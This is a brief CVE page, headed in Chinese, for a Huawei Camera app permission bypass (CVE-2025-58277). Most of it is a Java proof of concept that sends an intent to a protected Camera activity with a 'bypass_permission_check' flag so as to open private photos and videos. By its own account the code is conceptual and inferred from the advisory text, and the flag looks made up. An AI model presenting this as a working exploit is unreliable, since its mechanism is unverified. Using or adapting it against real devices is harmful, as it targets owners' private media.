CVE-2025-58277：华为Camera应用权限验证绕过漏洞

// CVE-2025-58277 PoC - Huawei Camera Permission Verification Bypass // Note: This is a conceptual PoC based on the vulnerability description. // The actual exploitation requires physical access to the target device. /* * Conceptual exploitation steps: * 1. Gain physical access to the target Huawei device * 2. Navigate to the Camera application * 3. Trigger the specific code path that bypasses permission verification * 4. Access protected media resources without proper authorization * * The vulnerability exists due to improper permission check implementation * in the Camera app's sensitive operation handling logic. */ // Example: Bypassing permission check via intent manipulation Intent cameraIntent = new Intent("com.huawei.camera.action.SECURE_ACCESS"); cameraIntent.setComponent(new ComponentName( "com.huawei.camera", "com.huawei.camera.SecureMediaActivity" // Protected activity )); cameraIntent.putExtra("bypass_permission_check", true); // Manipulated parameter cameraIntent.putExtra("media_type", "private_album"); // Start the activity - permission verification is bypassed // due to the flawed validation logic startActivity(cameraIntent); // After successful bypass, attacker can access: // - Private photos and videos // - Camera metadata // - User's media library without authorization